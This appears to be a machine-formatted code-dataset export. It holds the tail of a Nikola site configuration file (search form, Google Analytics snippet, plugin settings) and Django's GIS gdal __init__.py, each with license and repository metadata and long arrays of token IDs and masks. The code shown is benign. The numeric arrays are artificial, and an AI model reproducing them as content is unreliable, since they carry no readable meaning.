input-sm" style="width:65%%; padding:0; height:2em;"/> <input type="submit" value="DuckDuckGo Search" style="visibility: hidden; width: 5%%" /> </form> <!-- End of custom search --> """ % SITE_URL # # If you prefer a google search form, here's an example that should just work: #SEARCH_FORM = """ #<!-- Custom search with google--> #<form id="search" action="http://google.com/search" method="get" class="navbar-form pull-left"> #<input type="hidden" name="q" value="site:%s" /> #<input type="text" name="q" maxlength="255" results="0" placeholder="Search"/> #</form> #<!-- End of custom search --> #""" % SITE_URL # Also, there is a local search plugin you can use, based on Tipue, but it requires setting several # options: # SEARCH_FORM = """ # <span class="navbar-form pull-left"> # <input type="text" id="tipue_search_input"> # </span>""" # # BODY_END = """ # <script type="text/javascript" src="/assets/js/tipuesearch_set.js"></script> # <script type="text/javascript" src="/assets/js/tipuesearch.js"></script> # <script type="text/javascript"> # $(document).ready(function() { # $('#tipue_search_input').tipuesearch({ # 'mode': 'json', # 'contentLocation': '/assets/js/tipuesearch_content.json', # 'showUrl': false # }); # }); # </script> # """ EXTRA_HEAD_DATA = """ <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-44317802-1']); _gaq.push(['_setDomainName', 'virtua-peanuts.net']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script>""" # <link rel="stylesheet" type="text/css" href="/assets/css/tipuesearch.css"> # <div id="tipue_search_content" style="margin-left: auto; margin-right: auto; padding: 20px;"></div> # ENABLED_EXTRAS = ['local_search'] # # Use content distribution networks for jquery and twitter-bootstrap css and js # If this is True, jquery is served from the Google CDN and twitter-bootstrap # is served from the NetDNA CDN # Set this to False if you want to host your site without requiring access to # external resources. # USE_CDN = False # Extra things you want in the pages HEAD tag. This will be added right # before </HEAD> # EXTRA_HEAD_DATA = "" # Google analytics or whatever else you use. Added to the bottom of <body> # in the default template (base.tmpl). # BODY_END = "" # The possibility to extract metadata from the filename by using a # regular expression. # To make it work you need to name parts of your regular expression. # The following names will be used to extract metadata: # - title # - slug # - date # - tags # - link # - description # # An example re is the following: # '(?P<date>\d{4}-\d{2}-\d{2})-(?P<slug>.*)-(?P<title>.*)\.md' # FILE_METADATA_REGEXP = None # Additional metadata that is added to a post when creating a new_post ADDITIONAL_METADATA = {} # Nikola supports Twitter Card summaries / Open Graph. # Twitter cards make it possible for you to attach media to Tweets # that link to your content. # # IMPORTANT: # Please note, that you need to opt-in for using Twitter Cards! # To do this please visit # https://dev.twitter.com/form/participate-twitter-cards # # Uncomment and modify to following lines to match your accounts. # Specifying the id for either 'site' or 'creator' will be preferred # over the cleartext username. Specifying an ID is not necessary. # Displaying images is currently not supported. # TWITTER_CARD = { # # 'use_twitter_cards': True, # enable Twitter Cards / Open Graph # # 'site': '@website', # twitter nick for the website # # 'site:id': 123456, # Same as site, but the website's Twitter user ID # # instead. # # 'creator': '@username', # Username for the content creator / author. # # 'creator:id': 654321, # Same as creator, but the Twitter user's ID. # } # If you want to use formatted post time in W3C-DTF Format # (ex. 2012-03-30T23:00:00+02:00), # set timzone if you want a localized posted date. # TIMEZONE = 'Europe/Paris' # If webassets is installed, bundle JS and CSS to make site loading faster # USE_BUNDLES = True # Plugins you don't want to use. Be careful :-) # DISABLED_PLUGINS = ["render_galleries"] # Experimental plugins - use at your own risk. # They probably need some manual adjustments - please see their respective # readme. ENABLED_EXTRAS = [ # 'planetoid', # 'ipynb', # 'local_search', # 'render_mustache', ] # List of regular expressions, links matching them will always be considered # valid by "nikola check -l" # LINK_CHECK_WHITELIST = [] # If set to True, enable optional hyphenation in your posts (requires pyphen) # HYPHENATE = False # Put in global_context things you want available on all your templates. # It can be anything, data, functions, modules, etc. GLOBAL_CONTEXT = {}
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 646, 900, 199, 199, 3, 11595, 12, 8749, 5283, 199, 199, 3, 3918, 3595, 642, 4770, 199, 34, 4947, 63, 27938, 275, 298, 36, 6532, 2, 199, 34, 4947, 63, 19091, 275, 298, 3534, 652, 2544, 19459, 652, 9539, 199, 3, 961, 365, 314, 2446, 2851, 367, 2195, 4770, 14, 2779, 911, 506, 1202, 199, 3, 315, 282, 8023, 262, 484, 2142, 199, 7917, 63, 2632, 275, 298, 1014, 921, 87, 1892, 329, 14, 4549, 1458, 13, 321, 290, 14608, 14, 846, 6687, 199, 3, 961, 365, 314, 2851, 2382, 302, 3258, 22205, 1159, 1072, 911, 506, 26181, 14, 199, 3, 982, 440, 663, 12, 4243, 370, 428, 4427, 63, 2632, 199, 3, 19721, 63, 2632, 275, 298, 1014, 921, 362, 22998, 22205, 14, 957, 6687, 199, 34, 4947, 63, 10089, 275, 298, 87, 1892, 329, 32, 4549, 1458, 13, 321, 290, 14608, 14, 846, 2, 199, 34, 4947, 63, 17705, 275, 298, 3534, 652, 2544, 19459, 652, 8546, 2, 199, 199, 3, 653, 3258, 22205, 365, 3510, 2983, 1061, 1, 199, 3, 199, 3, 13550, 3748, 10815, 787, 26, 199, 3, 655, 258, 20144, 199, 3, 12994, 258, 699, 27092, 15289, 199, 3, 1704, 258, 445, 7539, 290, 199, 3, 1315, 72, 63, 6413, 221, 2799, 26883, 334, 51, 3236, 30200, 9, 199, 3, 16140, 258, 445, 293, 2159, 290, 199, 3, 12992, 258, 577, 337, 335, 199, 3, 9513, 258, 481, 15148, 199, 3, 579, 258, 598, 14291, 359, 4609, 7192, 1, 61, 199, 3, 477, 258, 22261, 1237, 199, 3, 652, 258, 2779, 25861, 199, 3, 28921, 258, 1603, 30699, 199, 3, 1433, 258, 3492, 6214, 199, 3, 1620, 258, 4376, 1891, 199, 3, 10063, 63, 3289, 221, 10977, 1518, 310, 261, 334, 34, 6360, 382, 9, 199, 3, 519, 85, 258, 820, 8630, 199, 3, 9455, 258, 32091, 2453, 199, 3, 5651, 63, 454, 221, 377, 300, 75, 2453, 334, 27438, 498, 9, 199, 3, 199, 3, 982, 1265, 2934, 370, 675, 653, 3258, 22205, 543, 282, 2222, 13, 4946, 2637, 1265, 1172, 370, 5647, 199, 3, 282, 859, 3035, 314, 5784, 15547, 199, 3, 334, 80, 14, 69, 14, 3648, 737, 314, 4621, 737, 26, 16605, 22998, 22205, 15, 576, 15, 23900, 15, 885, 15, 3431, 15, 4391, 14, 647, 680, 199, 3, 982, 282, 2488, 2963, 365, 440, 14598, 370, 282, 2637, 12, 2066, 314, 1015, 199, 3, 315, 314, 849, 2637, 911, 506, 9164, 3140, 14, 421, 199, 3, 504, 302, 3258, 22205, 492, 4766, 199, 199, 3, 9905, 51, 275, 469, 199, 3, 221, 3680, 3919, 582, 359, 4273, 14, 89, 1907, 63, 27879, 467, 199, 3, 1674, 3596, 582, 359, 4273, 14, 89, 1907, 63, 27879, 467, 199, 3, 93, 199, 199, 3, 14791, 365, 314, 849, 2637, 31, 199, 3472, 63, 7442, 275, 298, 4391, 2, 199, 199, 7486, 654, 275, 791, 4391, 356, 283, 4391, 63, 5372, 14, 1624, 24, 297, 283, 287, 356, 283, 287, 63, 1668, 14, 1624, 24, 936, 199, 199, 3, 14791, 1163, 10815, 886, 1265, 1172, 31, 199, 3, 710, 1475, 365, 2420, 6893, 600, 2, 520, 298, 515, 15, 475, 15, 6893, 2, 789, 199, 3, 314, 931, 911, 506, 1202, 465, 282, 2403, 367, 314, 4046, 6497, 2909, 199, 26376, 12969, 275, 469, 272, 6186, 63, 7442, 26, 4873, 272, 327, 5679, 367, 4573, 2637, 26, 272, 298, 287, 582, 26069, 287, 401, 199, 93, 199, 199, 26376, 12969, 63, 10764, 275, 5310, 515, 26944, 832, 26944, 4159, 7063, 199, 199, 3, 10967, 83, 367, 314, 18437, 1182, 19191, 4681, 14, 199, 3, 2047, 1077, 5647, 282, 790, 13, 585, 4092, 367, 1924, 1202, 2637, 14, 199, 46, 6087, 1277, 2594, 63, 7916, 51, 275, 469, 272, 6186, 63, 7442, 26, 334, 507, 198, 2336, 270, 6112, 15, 595, 1956, 3797, 83, 14, 1360, 297, 298, 35, 16614, 13, 16715, 83, 1288, 267, 14606, 270, 6112, 15, 10058, 13, 83, 13, 2184, 14, 1360, 297, 298, 21015, 1159, 2163, 1288, 267, 14606, 6404, 14, 1360, 297, 283, 8438, 7602, 659, 267, 14606, 8906, 15, 1080, 14, 1360, 297, 283, 9440, 659, 267, 14606, 13614, 14, 1652, 297, 283, 22786, 659, 260, 272, 2318, 272, 298, 287, 582, 334, 507, 198, 2336, 287, 15, 270, 6112, 15, 595, 1956, 3797, 83, 14, 1360, 297, 298, 35, 16614, 13, 16715, 83, 1288, 267, 14606, 287, 15, 270, 6112, 15, 10058, 13, 83, 13, 2184, 14, 1360, 297, 298, 21015, 1159, 2163, 1288, 267, 14606, 287, 15, 6404, 14, 1360, 297, 283, 8438, 7602, 659, 267, 14606, 287, 15, 8906, 15, 1080, 14, 1360, 297, 283, 9440, 659, 267, 14606, 287, 15, 13614, 14, 1652, 297, 283, 22786, 659, 260, 272, 2318, 199, 93, 4388, 199, 3, 6423, 674, 642, 2376, 12, 8137, 365, 2716, 199, 199, 3, 8761, 51, 436, 510, 5383, 3509, 334, 16692, 12, 5724, 12, 1978, 9, 6346, 14, 199, 3, 199, 3, 710, 16792, 365, 1202, 370, 3550, 282, 769, 402, 295, 933, 1350, 1584, 199, 3, 334, 26517, 15, 2127, 14, 2424, 680, 199, 3, 199, 3, 10314, 7956, 4293, 1172, 376, 4568, 3341, 570, 334, 26517, 15, 2127, 14, 2024, 395, 199, 3, 436, 1687, 9718, 1183, 14598, 1584, 334, 2694, 367, 13598, 2453, 12, 543, 1233, 298, 397, 2349, 199, 3, 258, 15685, 15, 2127, 14, 2424, 14, 397, 436, 15685, 15, 2127, 14, 2024, 14, 397, 199, 3, 199, 3, 11606, 5204, 1584, 12, 282, 663, 402, 4163, 7956, 1584, 911, 506, 4046, 26, 199, 3, 2581, 15, 26517, 15, 2127, 14, 1360, 334, 460, 11703, 2581, 15, 26517, 15, 2127, 14, 1360, 14, 397, 9, 199, 3, 199, 3, 5723, 1584, 787, 5300, 23831, 543, 314, 1978, 370, 7389, 8018, 199, 3, 6497, 12, 1314, 911, 506, 15090, 737, 199, 3, 1072, 1182, 18634, 4929, 12969, 59, 4159, 61, 1182, 5724, 1182, 9881, 17604, 14, 1360, 199, 3, 199, 3, 2382, 298, 387, 2268, 313, 2, 365, 314, 298, 5464, 2, 2013, 315, 314, 3341, 570, 14, 199, 3, 199, 3, 710, 8865, 3382, 8761, 51, 436, 510, 5383, 365 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 646, 900, 199, 199, 3, 11595, 12, 8749, 5283, 199, 199, 3, 3918, 3595, 642, 4770, 199, 34, 4947, 63, 27938, 275, 298, 36, 6532, 2, 199, 34, 4947, 63, 19091, 275, 298, 3534, 652, 2544, 19459, 652, 9539, 199, 3, 961, 365, 314, 2446, 2851, 367, 2195, 4770, 14, 2779, 911, 506, 1202, 199, 3, 315, 282, 8023, 262, 484, 2142, 199, 7917, 63, 2632, 275, 298, 1014, 921, 87, 1892, 329, 14, 4549, 1458, 13, 321, 290, 14608, 14, 846, 6687, 199, 3, 961, 365, 314, 2851, 2382, 302, 3258, 22205, 1159, 1072, 911, 506, 26181, 14, 199, 3, 982, 440, 663, 12, 4243, 370, 428, 4427, 63, 2632, 199, 3, 19721, 63, 2632, 275, 298, 1014, 921, 362, 22998, 22205, 14, 957, 6687, 199, 34, 4947, 63, 10089, 275, 298, 87, 1892, 329, 32, 4549, 1458, 13, 321, 290, 14608, 14, 846, 2, 199, 34, 4947, 63, 17705, 275, 298, 3534, 652, 2544, 19459, 652, 8546, 2, 199, 199, 3, 653, 3258, 22205, 365, 3510, 2983, 1061, 1, 199, 3, 199, 3, 13550, 3748, 10815, 787, 26, 199, 3, 655, 258, 20144, 199, 3, 12994, 258, 699, 27092, 15289, 199, 3, 1704, 258, 445, 7539, 290, 199, 3, 1315, 72, 63, 6413, 221, 2799, 26883, 334, 51, 3236, 30200, 9, 199, 3, 16140, 258, 445, 293, 2159, 290, 199, 3, 12992, 258, 577, 337, 335, 199, 3, 9513, 258, 481, 15148, 199, 3, 579, 258, 598, 14291, 359, 4609, 7192, 1, 61, 199, 3, 477, 258, 22261, 1237, 199, 3, 652, 258, 2779, 25861, 199, 3, 28921, 258, 1603, 30699, 199, 3, 1433, 258, 3492, 6214, 199, 3, 1620, 258, 4376, 1891, 199, 3, 10063, 63, 3289, 221, 10977, 1518, 310, 261, 334, 34, 6360, 382, 9, 199, 3, 519, 85, 258, 820, 8630, 199, 3, 9455, 258, 32091, 2453, 199, 3, 5651, 63, 454, 221, 377, 300, 75, 2453, 334, 27438, 498, 9, 199, 3, 199, 3, 982, 1265, 2934, 370, 675, 653, 3258, 22205, 543, 282, 2222, 13, 4946, 2637, 1265, 1172, 370, 5647, 199, 3, 282, 859, 3035, 314, 5784, 15547, 199, 3, 334, 80, 14, 69, 14, 3648, 737, 314, 4621, 737, 26, 16605, 22998, 22205, 15, 576, 15, 23900, 15, 885, 15, 3431, 15, 4391, 14, 647, 680, 199, 3, 982, 282, 2488, 2963, 365, 440, 14598, 370, 282, 2637, 12, 2066, 314, 1015, 199, 3, 315, 314, 849, 2637, 911, 506, 9164, 3140, 14, 421, 199, 3, 504, 302, 3258, 22205, 492, 4766, 199, 199, 3, 9905, 51, 275, 469, 199, 3, 221, 3680, 3919, 582, 359, 4273, 14, 89, 1907, 63, 27879, 467, 199, 3, 1674, 3596, 582, 359, 4273, 14, 89, 1907, 63, 27879, 467, 199, 3, 93, 199, 199, 3, 14791, 365, 314, 849, 2637, 31, 199, 3472, 63, 7442, 275, 298, 4391, 2, 199, 199, 7486, 654, 275, 791, 4391, 356, 283, 4391, 63, 5372, 14, 1624, 24, 297, 283, 287, 356, 283, 287, 63, 1668, 14, 1624, 24, 936, 199, 199, 3, 14791, 1163, 10815, 886, 1265, 1172, 31, 199, 3, 710, 1475, 365, 2420, 6893, 600, 2, 520, 298, 515, 15, 475, 15, 6893, 2, 789, 199, 3, 314, 931, 911, 506, 1202, 465, 282, 2403, 367, 314, 4046, 6497, 2909, 199, 26376, 12969, 275, 469, 272, 6186, 63, 7442, 26, 4873, 272, 327, 5679, 367, 4573, 2637, 26, 272, 298, 287, 582, 26069, 287, 401, 199, 93, 199, 199, 26376, 12969, 63, 10764, 275, 5310, 515, 26944, 832, 26944, 4159, 7063, 199, 199, 3, 10967, 83, 367, 314, 18437, 1182, 19191, 4681, 14, 199, 3, 2047, 1077, 5647, 282, 790, 13, 585, 4092, 367, 1924, 1202, 2637, 14, 199, 46, 6087, 1277, 2594, 63, 7916, 51, 275, 469, 272, 6186, 63, 7442, 26, 334, 507, 198, 2336, 270, 6112, 15, 595, 1956, 3797, 83, 14, 1360, 297, 298, 35, 16614, 13, 16715, 83, 1288, 267, 14606, 270, 6112, 15, 10058, 13, 83, 13, 2184, 14, 1360, 297, 298, 21015, 1159, 2163, 1288, 267, 14606, 6404, 14, 1360, 297, 283, 8438, 7602, 659, 267, 14606, 8906, 15, 1080, 14, 1360, 297, 283, 9440, 659, 267, 14606, 13614, 14, 1652, 297, 283, 22786, 659, 260, 272, 2318, 272, 298, 287, 582, 334, 507, 198, 2336, 287, 15, 270, 6112, 15, 595, 1956, 3797, 83, 14, 1360, 297, 298, 35, 16614, 13, 16715, 83, 1288, 267, 14606, 287, 15, 270, 6112, 15, 10058, 13, 83, 13, 2184, 14, 1360, 297, 298, 21015, 1159, 2163, 1288, 267, 14606, 287, 15, 6404, 14, 1360, 297, 283, 8438, 7602, 659, 267, 14606, 287, 15, 8906, 15, 1080, 14, 1360, 297, 283, 9440, 659, 267, 14606, 287, 15, 13614, 14, 1652, 297, 283, 22786, 659, 260, 272, 2318, 199, 93, 4388, 199, 3, 6423, 674, 642, 2376, 12, 8137, 365, 2716, 199, 199, 3, 8761, 51, 436, 510, 5383, 3509, 334, 16692, 12, 5724, 12, 1978, 9, 6346, 14, 199, 3, 199, 3, 710, 16792, 365, 1202, 370, 3550, 282, 769, 402, 295, 933, 1350, 1584, 199, 3, 334, 26517, 15, 2127, 14, 2424, 680, 199, 3, 199, 3, 10314, 7956, 4293, 1172, 376, 4568, 3341, 570, 334, 26517, 15, 2127, 14, 2024, 395, 199, 3, 436, 1687, 9718, 1183, 14598, 1584, 334, 2694, 367, 13598, 2453, 12, 543, 1233, 298, 397, 2349, 199, 3, 258, 15685, 15, 2127, 14, 2424, 14, 397, 436, 15685, 15, 2127, 14, 2024, 14, 397, 199, 3, 199, 3, 11606, 5204, 1584, 12, 282, 663, 402, 4163, 7956, 1584, 911, 506, 4046, 26, 199, 3, 2581, 15, 26517, 15, 2127, 14, 1360, 334, 460, 11703, 2581, 15, 26517, 15, 2127, 14, 1360, 14, 397, 9, 199, 3, 199, 3, 5723, 1584, 787, 5300, 23831, 543, 314, 1978, 370, 7389, 8018, 199, 3, 6497, 12, 1314, 911, 506, 15090, 737, 199, 3, 1072, 1182, 18634, 4929, 12969, 59, 4159, 61, 1182, 5724, 1182, 9881, 17604, 14, 1360, 199, 3, 199, 3, 2382, 298, 387, 2268, 313, 2, 365, 314, 298, 5464, 2, 2013, 315, 314, 3341, 570, 14, 199, 3, 199, 3, 710, 8865, 3382, 8761, 51, 436, 510, 5383, 365, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
grangier/django-11599
django/contrib/gis/gdal/__init__.py
14
2416
""" This module houses ctypes interfaces for GDAL objects. The following GDAL objects are supported: CoordTransform: Used for coordinate transformations from one spatial reference system to another. Driver: Wraps an OGR data source driver. DataSource: Wrapper for the OGR data source object, supports OGR-supported data sources. Envelope: A ctypes structure for bounding boxes (GDAL library not required). OGRGeometry: Layer for accessing OGR Geometry objects. OGRGeomType: A class for representing the different OGR Geometry types (GDAL library not required). SpatialReference: Represents OSR Spatial Reference objects. The GDAL library will be imported from the system path using the default library name for the current OS. The default library path may be overridden by setting `GDAL_LIBRARY_PATH` in your settings with the path to the GDAL C library on your system. GDAL links to a large number of external libraries that consume RAM when loaded. Thus, it may desirable to disable GDAL on systems with limited RAM resources -- this may be accomplished by setting `GDAL_LIBRARY_PATH` to a non-existant file location (e.g., `GDAL_LIBRARY_PATH='/null/path'`; setting to None/False/'' will not work as a string must be given). """ import sys # Attempting to import objects that depend on the GDAL library. The # HAS_GDAL flag will be set to True if the library is present on # the system. try: from django.contrib.gis.gdal.driver import Driver from django.contrib.gis.gdal.datasource import DataSource from django.contrib.gis.gdal.libgdal import gdal_version, gdal_full_version, gdal_release_date from django.contrib.gis.gdal.srs import SpatialReference, CoordTransform from django.contrib.gis.gdal.geometries import OGRGeometry, GEOJSON HAS_GDAL = True except: HAS_GDAL, GEOJSON = False, False # The envelope, error, and geomtype modules do not actually require the # GDAL library, but still nead at least Python 2.4 and ctypes. PYTHON23 = sys.version_info[0] == 2 and sys.version_info[1] == 3 if not PYTHON23: try: from django.contrib.gis.gdal.envelope import Envelope from django.contrib.gis.gdal.error import check_err, OGRException, OGRIndexError, SRSException from django.contrib.gis.gdal.geomtype import OGRGeomType except ImportError: # No ctypes, but don't raise an exception. pass
bsd-3-clause
[ 624, 199, 961, 859, 394, 810, 874, 5577, 8386, 367, 15801, 2251, 14, 221, 710, 2569, 15801, 199, 2251, 787, 3748, 26, 421, 1849, 2181, 6939, 26, 8051, 367, 10021, 25947, 687, 1373, 11469, 523, 3659, 2656, 370, 4573, 14, 421, 19447, 26, 644, 8146, 376, 10904, 666, 1350, 5253, 14, 2043, 199, 24300, 26, 21947, 367, 314, 10904, 666, 1350, 909, 12, 5171, 523, 10904, 13, 4946, 666, 5274, 14, 421, 29143, 26, 437, 5577, 5523, 367, 16842, 17193, 334, 17835, 3555, 523, 440, 1415, 680, 421, 24220, 26, 11915, 367, 18549, 10904, 10579, 2251, 14, 421, 25756, 26, 437, 1021, 367, 6144, 314, 3365, 10904, 10579, 523, 2943, 334, 17835, 3555, 440, 1415, 680, 421, 24324, 26, 21591, 4403, 50, 13423, 10944, 2251, 14, 421, 710, 15801, 3555, 911, 506, 8439, 687, 314, 2656, 931, 1808, 314, 849, 257, 199, 3555, 536, 367, 314, 1453, 4403, 14, 710, 849, 3555, 931, 1443, 506, 10087, 199, 701, 4260, 658, 17835, 63, 16983, 63, 3243, 64, 315, 2195, 2202, 543, 314, 931, 370, 314, 15801, 445, 9948, 3555, 641, 2195, 2656, 14, 257, 421, 15801, 6220, 370, 282, 7031, 1329, 402, 5957, 8363, 626, 9451, 30207, 1380, 9948, 6511, 14, 221, 20227, 12, 652, 1443, 477, 338, 6842, 370, 3507, 15801, 641, 10460, 543, 13988, 199, 30207, 5944, 1553, 642, 1443, 506, 1066, 863, 1891, 379, 701, 4260, 658, 17835, 63, 16983, 63, 3243, 64, 199, 370, 282, 2222, 13, 4494, 867, 570, 2909, 334, 69, 14, 71, 2020, 658, 17835, 63, 16983, 63, 3243, 8805, 2307, 15, 515, 7, 64, 27, 9948, 4260, 370, 488, 15, 797, 15, 891, 911, 440, 1736, 465, 282, 1059, 1471, 506, 1627, 680, 199, 624, 199, 646, 984, 199, 199, 3, 17413, 1337, 370, 492, 2251, 626, 11687, 641, 314, 15801, 3555, 14, 221, 710, 199, 3, 7509, 63, 17835, 3305, 911, 506, 663, 370, 715, 340, 314, 3555, 365, 3451, 641, 199, 3, 314, 2656, 14, 199, 893, 26, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 3090, 492, 19447, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 21208, 492, 24300, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 773, 11600, 492, 15834, 63, 1023, 12, 15834, 63, 2861, 63, 1023, 12, 15834, 63, 3221, 63, 602, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 12722, 492, 24324, 12, 1849, 2181, 6939, 272, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 21626, 492, 24220, 12, 21390, 6243, 272, 7509, 63, 17835, 275, 715, 199, 2590, 26, 272, 7509, 63, 17835, 12, 21390, 6243, 275, 756, 12, 756, 199, 199, 3, 710, 24631, 12, 1125, 12, 436, 9671, 466, 4621, 886, 440, 5965, 4409, 314, 199, 3, 15801, 3555, 12, 1325, 5139, 1279, 350, 737, 5210, 2018, 499, 14, 20, 436, 5577, 14, 199, 11720, 1789, 275, 984, 14, 1023, 63, 815, 59, 16, 61, 508, 499, 436, 984, 14, 1023, 63, 815, 59, 17, 61, 508, 650, 199, 692, 440, 18280, 1789, 26, 272, 862, 26, 267, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 19707, 492, 29143, 267, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 705, 492, 1104, 63, 1508, 12, 19746, 907, 16010, 12, 10904, 12129, 12, 12765, 21686, 267, 687, 1639, 14, 2828, 14, 5668, 14, 11600, 14, 6481, 466, 492, 25756, 272, 871, 3545, 26, 267, 327, 3091, 5577, 12, 1325, 2793, 1133, 746, 376, 1919, 14, 267, 986, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
